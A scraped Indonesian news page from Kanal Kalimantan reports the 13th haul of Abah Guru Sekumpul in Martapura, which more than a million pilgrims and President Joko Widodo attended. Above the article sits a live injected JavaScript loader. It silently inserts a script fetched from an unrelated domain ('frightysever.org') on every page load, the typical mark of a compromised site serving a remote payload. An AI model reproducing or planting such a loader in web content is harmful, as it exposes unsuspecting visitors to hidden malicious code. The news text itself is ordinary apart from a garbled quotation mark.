(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kabupaten Banjar adalah kota para pecinta! Kemarin, tanah penuh berkah ini menjadi saksi ungkapan rasa cinta dan rindu ummat terhadap figur Al Alim al Allamah al Arif Billaah As Syaikh Maulana Muhammad Zaini bin Abdul Ghani. Lebih dari 1 juta manusia, dari berbagai penjuru tanah air dan mancanegara, Minggu (25/3), menghadiri haul ke-13, di Sekumpul, Martapura.
Besarnya kecintaan ummat terhadap beliau, menggerakkan jamaah yang bahkan rela datang dengan susah payah dan dari tempat yang jauh. Baik yang datang berjalan kaki, menggunakan kendaraan roda 2, mobil, kapal, hingga pesawat sekalipun. Berbagai kisah perjalanan menuju lokasi haul-bahkan seperti bus jamaah asal Samarinda yang terbalik di daerah Tanah Grogot beberapa waktu lalu, merupakan bukti pertautan kerinduan pada ulama panutan tersebut.
Di lokasi acara pun, tak sedikit jamaah yang terpaksa harus dirawat di puluhan posko kesehatan karena kecapekan atau pun karena sakit. Bahkan hingga yang terpaksa dilarikan ke Rumah Sakit terdekat sepert RS Ratu Zaleckha Martapura atau RS Idaman Banjarbaru. Semua dijalani sebagai bukti cinta terhadap Abah Guru Sekumpul.
Ya, cinta dan kerinduan pada hakekatnya adalah cermin. Satu juta cinta jamaah yang datang kemarin, adalah juga wujud pantulan kasih sayang Abah Guru Sekumpul terhadap kita. Sekaligus menunjukkan besar dan tingginya derajat keulamaan beliau.
Haul kemarin juga menjadi saksi, dari rakyat jelata hingga Presiden RI Joko Widodo pun, duduk bersama dalam doa, dzikir, dan munajat cinta lewat pembacaan Simtudduror karya Al Habib Ali bin Muhammad Al Habsyi yang dipimpin bergantian oleh Habib Muhamad Al Habsy dari Kota Siwot Provinsi Hadramaut dan putra Abah Guru Sekumpul, M Amin Badali. Sedangkan sang adik, Ahmad Hafi Badali dengan ritmis mengikutinya dengan iringan pukulan rebana.
Suasana khimad kian terasa dan membuat banyak jamaah hanyut dan teringat dengan mendiang Guru Sekumpul. Zikir dan tahlil pun terus menggema di seputar Mushola Ar Raudhal kian membuat suasana begitu khusuk. Meski pun di luar Musholla Ar Raudhah saat itu sedang turun gerimis.
Hujan mulai turun saat para Jemaah sedang melaksanakan Shalat Maghrib, meski demikian mereka tetap bertahan untuk mengikuti acara haul sampai selesai. Berdasar pantauan Kanal Kalimantan di tempat acara haul, khususnya bagi Jemaah yang berada di luar Mushalla Ar Raudah sebagian besar ada yang tetap bertahan.
“Hujan ini menjadi berkah bagi kita semua yang saat ini berkumpul memperingati haul ke-13 Abah Guru Sekumpul. Dari beberapa waktu lalu memang BMKG memprediksi akan turunnya hujan berdasar kondisi cuaca yang ada,†kata Ikhwan, warga asal Tapin.
Sejak Minggu pagi, ratusan ribu jamaah berdatangan dari berbagai penjuru menuju Jalan Sekumpul Raya dan sekitarnya untuk mendekati Mushala Ar Raudhah yang menjadi pusat acara haul. Kedatangan jamaah memenuhi kantong-kantong parkir yang cukup jauh dari mushala yang terdapat makam Guru Sekumpul.
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
This website uses cookies.